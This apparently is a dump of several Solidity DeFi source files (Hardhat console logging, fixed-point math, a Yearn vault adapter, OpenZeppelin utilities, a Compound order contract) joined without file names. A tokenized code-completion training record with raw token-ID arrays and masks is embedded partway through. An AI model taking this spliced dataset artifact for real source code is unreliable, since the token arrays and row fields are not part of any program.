function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.6.12;
library FixedPointMath {
uint256 public constant DECIMALS = 18;
uint256 public constant SCALAR = 10**DECIMALS;
struct FixedDecimal {
uint256 x;
}
function fromU256(uint256 value) internal pure returns (FixedDecimal memory) {
uint256 x;
require(value == 0 || (x = value * SCALAR) / SCALAR == value);
return FixedDecimal(x);
}
function maximumValue() internal pure returns (FixedDecimal memory) {
return FixedDecimal(uint256(-1));
}
function add(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (FixedDecimal memory) {
uint256 x;
require((x = self.x + value.x) >= self.x);
return FixedDecimal(x);
}
function add(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
return add(self, fromU256(value));
}
function sub(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (FixedDecimal memory) {
uint256 x;
require((x = self.x - value.x) <= self.x);
return FixedDecimal(x);
}
function sub(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
return sub(self, fromU256(value));
}
function mul(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
uint256 x;
require(value == 0 || (x = self.x * value) / value == self.x);
return FixedDecimal(x);
}
function div(FixedDecimal memory self, uint256 value) internal pure returns (FixedDecimal memory) {
require(value != 0);
return FixedDecimal(self.x / value);
}
function cmp(FixedDecimal memory self, FixedDecimal memory value) internal pure returns (int256) {
if (self.x < value.x) {
return -1;
}
if (self.x > value.x) {
return 1;
}
return 0;
}
function decode(FixedDecimal memory self) internal pure returns (uint256) {
return self.x / SCALAR;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IDetailedERC20 is IERC20 {
function name() external returns (string memory);
function symbol() external returns (string memory);
function decimals() external returns (uint8);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IDetailedERC20.sol";
/// Interface for all Vault Adapter implementations.
interface IVaultAdapter {
/// @dev Gets the token that the adapter accepts.
function token() external view returns (IDetailedERC20);
/// @dev The total value of the assets deposited into the vault.
function totalValue() external view returns (uint256);
/// @dev Deposits funds into the vault.
///
/// @param _amount the amount of funds to deposit.
function deposit(uint256 _amount) external;
/// @dev Attempts to withdraw funds from the wrapped vault.
///
/// The amount withdrawn to the recipient may be less than the amount requested.
///
/// @param _recipient the recipient of the funds.
/// @param _amount the amount of funds to withdraw.
function withdraw(address _recipient, uint256 _amount) external;
}
pragma solidity ^0.6.12;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IyVaultV2 is IERC20 {
function token() external view returns (address);
function deposit() external returns (uint);
function deposit(uint) external returns (uint);
function deposit(uint, address) external returns (uint);
function withdraw() external returns (uint);
function withdraw(uint) external returns (uint);
function withdraw(uint, address) external returns (uint);
function withdraw(uint, address, uint) external returns (uint);
function permit(address, address, uint, uint, bytes32) external view returns (bool);
function pricePerShare() external view returns (uint);
function apiVersion() external view returns (string memory);
function totalAssets() external view returns (uint);
function maxAvailableShares() external view returns (uint);
function debtOutstanding() external view returns (uint);
function debtOutstanding(address strategy) external view returns (uint);
function creditAvailable() external view returns (uint);
function creditAvailable(address strategy) external view returns (uint);
function availableDepositLimit() external view returns (uint);
function expectedReturn() external view returns (uint);
function expectedReturn(address strategy) external view returns (uint);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint);
function balanceOf(address owner) external view override returns (uint);
function totalSupply() external view override returns (uint);
function governance() external view returns (address);
function management() external view returns (address);
function guardian() external view returns (address);
function guestList() external view returns (address);
function strategies(address) external view returns (uint, uint, uint, uint, uint, uint, uint, uint);
function withdrawalQueue(uint) external view returns (address);
function emergencyShutdown() external view returns (bool);
function depositLimit() external view returns (uint);
function debtRatio() external view returns (uint);
function totalDebt() external view returns (uint);
function lastReport() external view returns (uint);
function activation() external view returns (uint);
function rewards() external view returns (address);
function managementFee() external view returns (uint);
function performanceFee() external view returns (uint);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import "hardhat/console.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {FixedPointMath} from "../libraries/FixedPointMath.sol";
import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol";
import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol";
import {IyVaultV2} from "../interfaces/IyVaultV2.sol";
/// @title YearnVaultAdapter
///
/// @dev A vault adapter implementation which wraps a yEarn vault.
contract YearnVaultAdapter is IVaultAdapter {
using FixedPointMath for FixedPointMath.FixedDecimal;
using SafeERC20 for IDetailedERC20;
using SafeMath for uint256;
/// @dev The vault that the adapter is wrapping.
IyVaultV2 public vault;
/// @dev The address which has admin control over this contract.
address public admin;
/// @dev The decimals of the token.
uint256 public decimals;
constructor(IyVaultV2 _vault, address _admin) public {
vault = _vault;
admin = _admin;
updateApproval();
decimals = _vault.decimals();
}
/// @dev A modifier which reverts if the caller is not the admin.
modifier onlyAdmin() {
require(admin == msg.sender, "YearnVaultAdapter: only admin");
_;
}
/// @dev Gets the token that the vault accepts.
///
/// @return the accepted token.
function token() external view override returns (IDetailedERC20) {
return IDetailedERC20(vault.token());
}
/// @dev Gets the total value of the assets that the adapter holds in the vault.
///
/// @return the total assets.
function totalValue() external view override returns (uint256) {
return _sharesToTokens(vault.balanceOf(address(this)));
}
/// @dev Deposits tokens into the vault.
///
/// @param _amount the amount of tokens to deposit into the vault.
function deposit(uint256 _amount) external override {
vault.deposit(_amount);
}
/// @dev Withdraws tokens from the vault to the recipient.
///
/// This function reverts if the caller is not the admin.
///
/// @param _recipient the account to withdraw the tokes to.
/// @param _amount the amount of tokens to withdraw.
function withdraw(address _recipient, uint256 _amount) external override onlyAdmin {
vault.withdraw(_tokensToShares(_amount),_recipient);
}
/// @dev Updates the vaults approval of the token to be the maximum value.
function updateApproval() public {
address _token = vault.token();
IDetailedERC20(_token).safeApprove(address(vault), uint256(-1));
}
/// @dev Computes the number of tokens an amount of shares is worth.
///
/// @param _sharesAmount the amount of shares.
///
/// @return the number of tokens the shares are worth.
function _sharesToTokens(uint256 _sharesAmount) internal view returns (uint256) {
return _sharesAmount.mul(vault.pricePerShare()).div(10**decimals);
}
/// @dev Computes the number of shares an amount of tokens is worth.
///
/// @param _tokensAmount the amount of shares.
///
/// @return the number of shares the tokens are worth.
function _tokensToShares(uint256 _tokensAmount) internal view returns (uint256) {
return _tokensAmount.mul(10**decimals).div(vault.pricePerShare());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
|
@dev Transmutes and claims all converted base tokens. This function combines the transmute and claim functions while leaving your remaining alTokens staked.
|
function transmuteAndClaim(bool asEth) public noContractAllowed() {
transmute();
claim(asEth);
}
| 11,932,842 |
[
1,
1429,
81,
993,
471,
11955,
777,
5970,
1026,
2430,
18,
1220,
445,
30933,
326,
906,
81,
624,
471,
7516,
4186,
1323,
15086,
3433,
4463,
524,
5157,
384,
9477,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
906,
81,
624,
1876,
9762,
12,
6430,
487,
41,
451,
13,
1071,
1158,
8924,
5042,
1435,
288,
203,
3639,
906,
81,
624,
5621,
203,
3639,
7516,
12,
345,
41,
451,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.17;
import "@openzeppelin/contracts/ownership/Ownable.sol";
import "../interfaces/Comptroller.sol";
import "../interfaces/PriceOracle.sol";
import "../interfaces/CERC20.sol";
import "../interfaces/CEther.sol";
import "../Utils.sol";
contract CompoundOrder is Utils(address(0), address(0), address(0)), Ownable {
// Constants
uint256 internal constant NEGLIGIBLE_DEBT = 100; // we don't care about debts below 10^-4 USDC (0.1 cent)
uint256 internal constant MAX_REPAY_STEPS = 3; // Max number of times we attempt to repay remaining debt
uint256 internal constant DEFAULT_LIQUIDITY_SLIPPAGE = 10 ** 12; // 1e-6 slippage for redeeming liquidity when selling order
uint256 internal constant FALLBACK_LIQUIDITY_SLIPPAGE = 10 ** 15; // 0.1% slippage for redeeming liquidity when selling order
uint256 internal constant MAX_LIQUIDITY_SLIPPAGE = 10 ** 17; // 10% max slippage for redeeming liquidity when selling order
// Contract instances
Comptroller public COMPTROLLER; // The Compound comptroller
PriceOracle public ORACLE; // The Compound price oracle
CERC20 public CUSDC; // The Compound USDC market token
address public CETH_ADDR;
// Instance variables
uint256 public stake;
uint256 public collateralAmountInUSDC;
uint256 public loanAmountInUSDC;
uint256 public cycleNumber;
uint256 public buyTime; // Timestamp for order execution
uint256 public outputAmount; // Records the total output USDC after order is sold
address public compoundTokenAddr;
bool public isSold;
bool public orderType; // True for shorting, false for longing
bool internal initialized;
constructor() public {}
function init(
address _compoundTokenAddr,
uint256 _cycleNumber,
uint256 _stake,
uint256 _collateralAmountInUSDC,
uint256 _loanAmountInUSDC,
bool _orderType,
address _usdcAddr,
address payable _kyberAddr,
address _comptrollerAddr,
address _priceOracleAddr,
address _cUSDCAddr,
address _cETHAddr
) public {
require(!initialized);
initialized = true;
// Initialize details of order
require(_compoundTokenAddr != _cUSDCAddr);
require(_stake > 0 && _collateralAmountInUSDC > 0 && _loanAmountInUSDC > 0); // Validate inputs
stake = _stake;
collateralAmountInUSDC = _collateralAmountInUSDC;
loanAmountInUSDC = _loanAmountInUSDC;
cycleNumber = _cycleNumber;
compoundTokenAddr = _compoundTokenAddr;
orderType = _orderType;
COMPTROLLER = Comptroller(_comptrollerAddr);
ORACLE = PriceOracle(_priceOracleAddr);
CUSDC = CERC20(_cUSDCAddr);
CETH_ADDR = _cETHAddr;
USDC_ADDR = _usdcAddr;
KYBER_ADDR = _kyberAddr;
usdc = ERC20Detailed(_usdcAddr);
kyber = KyberNetwork(_kyberAddr);
// transfer ownership to msg.sender
_transferOwnership(msg.sender);
}
/**
* @notice Executes the Compound order
* @param _minPrice the minimum token price
* @param _maxPrice the maximum token price
*/
function executeOrder(uint256 _minPrice, uint256 _maxPrice) public;
/**
* @notice Sells the Compound order and returns assets to PeakDeFiFund
* @param _minPrice the minimum token price
* @param _maxPrice the maximum token price
*/
function sellOrder(uint256 _minPrice, uint256 _maxPrice) public returns (uint256 _inputAmount, uint256 _outputAmount);
/**
* @notice Repays the loans taken out to prevent the collateral ratio from dropping below threshold
* @param _repayAmountInUSDC the amount to repay, in USDC
*/
function repayLoan(uint256 _repayAmountInUSDC) public;
/**
* @notice Emergency method, which allow to transfer selected tokens to the fund address
* @param _tokenAddr address of withdrawn token
* @param _receiver address who should receive tokens
*/
function emergencyExitTokens(address _tokenAddr, address _receiver) public onlyOwner {
ERC20Detailed token = ERC20Detailed(_tokenAddr);
token.safeTransfer(_receiver, token.balanceOf(address(this)));
}
function getMarketCollateralFactor() public view returns (uint256);
function getCurrentCollateralInUSDC() public returns (uint256 _amount);
function getCurrentBorrowInUSDC() public returns (uint256 _amount);
function getCurrentCashInUSDC() public view returns (uint256 _amount);
/**
* @notice Calculates the current profit in USDC
* @return the profit amount
*/
function getCurrentProfitInUSDC() public returns (bool _isNegative, uint256 _amount) {
uint256 l;
uint256 r;
if (isSold) {
l = outputAmount;
r = collateralAmountInUSDC;
} else {
uint256 cash = getCurrentCashInUSDC();
uint256 supply = getCurrentCollateralInUSDC();
uint256 borrow = getCurrentBorrowInUSDC();
if (cash >= borrow) {
l = supply.add(cash);
r = borrow.add(collateralAmountInUSDC);
} else {
l = supply;
r = borrow.sub(cash).mul(PRECISION).div(getMarketCollateralFactor()).add(collateralAmountInUSDC);
}
}
if (l >= r) {
return (false, l.sub(r));
} else {
return (true, r.sub(l));
}
}
/**
* @notice Calculates the current collateral ratio on Compound, using 18 decimals
* @return the collateral ratio
*/
function getCurrentCollateralRatioInUSDC() public returns (uint256 _amount) {
uint256 supply = getCurrentCollateralInUSDC();
uint256 borrow = getCurrentBorrowInUSDC();
if (borrow == 0) {
return uint256(-1);
}
return supply.mul(PRECISION).div(borrow);
}
/**
* @notice Calculates the current liquidity (supply - collateral) on the Compound platform
* @return the liquidity
*/
function getCurrentLiquidityInUSDC() public returns (bool _isNegative, uint256 _amount) {
uint256 supply = getCurrentCollateralInUSDC();
uint256 borrow = getCurrentBorrowInUSDC().mul(PRECISION).div(getMarketCollateralFactor());
if (supply >= borrow) {
return (false, supply.sub(borrow));
} else {
return (true, borrow.sub(supply));
}
}
function __sellUSDCForToken(uint256 _usdcAmount) internal returns (uint256 _actualUSDCAmount, uint256 _actualTokenAmount) {
ERC20Detailed t = __underlyingToken(compoundTokenAddr);
(,, _actualTokenAmount, _actualUSDCAmount) = __kyberTrade(usdc, _usdcAmount, t); // Sell USDC for tokens on Kyber
require(_actualUSDCAmount > 0 && _actualTokenAmount > 0); // Validate return values
}
function __sellTokenForUSDC(uint256 _tokenAmount) internal returns (uint256 _actualUSDCAmount, uint256 _actualTokenAmount) {
ERC20Detailed t = __underlyingToken(compoundTokenAddr);
(,, _actualUSDCAmount, _actualTokenAmount) = __kyberTrade(t, _tokenAmount, usdc); // Sell tokens for USDC on Kyber
require(_actualUSDCAmount > 0 && _actualTokenAmount > 0); // Validate return values
}
// Convert a USDC amount to the amount of a given token that's of equal value
function __usdcToToken(address _cToken, uint256 _usdcAmount) internal view returns (uint256) {
ERC20Detailed t = __underlyingToken(_cToken);
return _usdcAmount.mul(PRECISION).div(10 ** getDecimals(usdc)).mul(10 ** getDecimals(t)).div(ORACLE.getUnderlyingPrice(_cToken).mul(10 ** getDecimals(t)).div(PRECISION));
}
// Convert a compound token amount to the amount of USDC that's of equal value
function __tokenToUSDC(address _cToken, uint256 _tokenAmount) internal view returns (uint256) {
return _tokenAmount.mul(ORACLE.getUnderlyingPrice(_cToken)).div(PRECISION).mul(10 ** getDecimals(usdc)).div(PRECISION);
}
function __underlyingToken(address _cToken) internal view returns (ERC20Detailed) {
if (_cToken == CETH_ADDR) {
// ETH
return ETH_TOKEN_ADDRESS;
}
CERC20 ct = CERC20(_cToken);
address underlyingToken = ct.underlying();
ERC20Detailed t = ERC20Detailed(underlyingToken);
return t;
}
function() external payable {}
}
pragma solidity ^0.5.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity 0.5.17;
// Compound finance comptroller
interface Comptroller {
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function markets(address cToken) external view returns (bool isListed, uint256 collateralFactorMantissa);
}
pragma solidity 0.5.17;
// Compound finance's price oracle
interface PriceOracle {
// returns the price of the underlying token in USD, scaled by 10**(36 - underlyingPrecision)
function getUnderlyingPrice(address cToken) external view returns (uint);
}
pragma solidity 0.5.17;
// Compound finance ERC20 market interface
interface CERC20 {
function mint(uint mintAmount) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function exchangeRateCurrent() external returns (uint);
function balanceOf(address account) external view returns (uint);
function decimals() external view returns (uint);
function underlying() external view returns (address);
}
pragma solidity 0.5.17;
// Compound finance Ether market interface
interface CEther {
function mint() external payable;
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow() external payable;
function borrowBalanceCurrent(address account) external returns (uint);
function exchangeRateCurrent() external returns (uint);
function balanceOf(address account) external view returns (uint);
function decimals() external view returns (uint);
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./interfaces/KyberNetwork.sol";
import "./interfaces/OneInchExchange.sol";
/**
* @title The smart contract for useful utility functions and constants.
* @author Zefram Lou (Zebang Liu)
*/
contract Utils {
using SafeMath for uint256;
using SafeERC20 for ERC20Detailed;
/**
* @notice Checks if `_token` is a valid token.
* @param _token the token's address
*/
modifier isValidToken(address _token) {
require(_token != address(0));
if (_token != address(ETH_TOKEN_ADDRESS)) {
require(isContract(_token));
}
_;
}
address public USDC_ADDR;
address payable public KYBER_ADDR;
address payable public ONEINCH_ADDR;
bytes public constant PERM_HINT = "PERM";
// The address Kyber Network uses to represent Ether
ERC20Detailed internal constant ETH_TOKEN_ADDRESS = ERC20Detailed(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
ERC20Detailed internal usdc;
KyberNetwork internal kyber;
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28); // 10B tokens
